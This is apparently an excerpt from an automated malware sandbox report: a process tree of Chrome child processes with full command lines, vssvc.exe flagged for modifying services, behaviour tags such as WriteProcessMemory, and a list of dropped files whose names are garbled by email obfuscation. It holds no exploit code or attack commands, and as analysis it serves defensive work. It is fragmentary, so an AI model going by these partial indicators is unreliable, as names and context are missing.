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C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1104,10664896480791447807,6700256977819534702,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1116 /prefetch:22⤵PID:1752
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C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1104,10664896480791447807,6700256977819534702,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1304 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:1704
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C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1896 -
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=84.0.4147.89 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef859ed20,0x7fef859ed30,0x7fef859ed402⤵PID:1960
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C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1084,14942451001740155429,5875731477635807535,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1096 /prefetch:22⤵PID:1428
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C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1084,14942451001740155429,5875731477635807535,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1364 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:876 -
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1084,14942451001740155429,5875731477635807535,131072 --lang=en-US --enable-auto-reload --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1912 /prefetch:12⤵PID:1652
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C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1084,14942451001740155429,5875731477635807535,131072 --lang=en-US --instant-process --enable-auto-reload --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1920 /prefetch:12⤵PID:1876
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C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1084,14942451001740155429,5875731477635807535,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2172 /prefetch:22⤵PID:1792
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C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1084,14942451001740155429,5875731477635807535,131072 --lang=en-US --service-sandbox-type=utility --enable-audio-service-sandbox --mojo-platform-channel-handle=1252 /prefetch:82⤵PID:1408
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C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1084,14942451001740155429,5875731477635807535,131072 --lang=en-US --service-sandbox-type=utility --enable-audio-service-sandbox --mojo-platform-channel-handle=2616 /prefetch:82⤵PID:1460
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C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1084,14942451001740155429,5875731477635807535,131072 --lang=en-US --service-sandbox-type=utility --enable-audio-service-sandbox --mojo-platform-channel-handle=2708 /prefetch:82⤵PID:1900
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C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1084,14942451001740155429,5875731477635807535,131072 --disable-gpu-compositing --lang=en-US --enable-auto-reload --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2808 /prefetch:12⤵PID:1428
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C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1084,14942451001740155429,5875731477635807535,131072 --lang=en-US --service-sandbox-type=utility --enable-audio-service-sandbox --mojo-platform-channel-handle=2648 /prefetch:82⤵PID:2056
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C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1084,14942451001740155429,5875731477635807535,131072 --disable-gpu-compositing --lang=en-US --enable-auto-reload --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2604 /prefetch:12⤵PID:2072
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C:\Windows\explorer.exe"C:\Windows\explorer.exe"1⤵PID:2384
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:2536
Network
MITRE ATT&CK Enterprise v6
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Downloads
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C:\Users\Admin\AppData\Local\Temp\@[email protected]
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C:\Users\Admin\AppData\Local\Temp\@[email protected]
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C:\Users\Admin\AppData\Local\Temp\@[email protected]
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C:\Users\Admin\AppData\Local\Temp\@[email protected]
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C:\Users\Admin\AppData\Local\Temp\@[email protected]
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C:\Users\Admin\AppData\Local\Temp\@[email protected]
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C:\Users\Admin\AppData\Local\Temp\@[email protected]
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C:\Users\Admin\AppData\Local\Temp\@[email protected]
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C:\Users\Admin\Desktop\@[email protected]
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\Users\Admin\AppData\Local\Temp\@[email protected]
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\Users\Admin\AppData\Local\Temp\@[email protected]
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\Users\Admin\AppData\Local\Temp\@[email protected]
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\Users\Admin\AppData\Local\Temp\@[email protected]
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\Users\Admin\AppData\Local\Temp\@[email protected]
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\Users\Admin\AppData\Local\Temp\@[email protected]
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\Users\Admin\AppData\Local\Temp\@[email protected]
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\Users\Admin\AppData\Local\Temp\@[email protected]
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\Users\Admin\AppData\Local\Temp\@[email protected]
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\Users\Admin\AppData\Local\Temp\@[email protected]
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\Users\Admin\AppData\Local\Temp\@[email protected]
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\Users\Admin\AppData\Local\Temp\@[email protected]
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\Users\Admin\AppData\Local\Temp\@[email protected]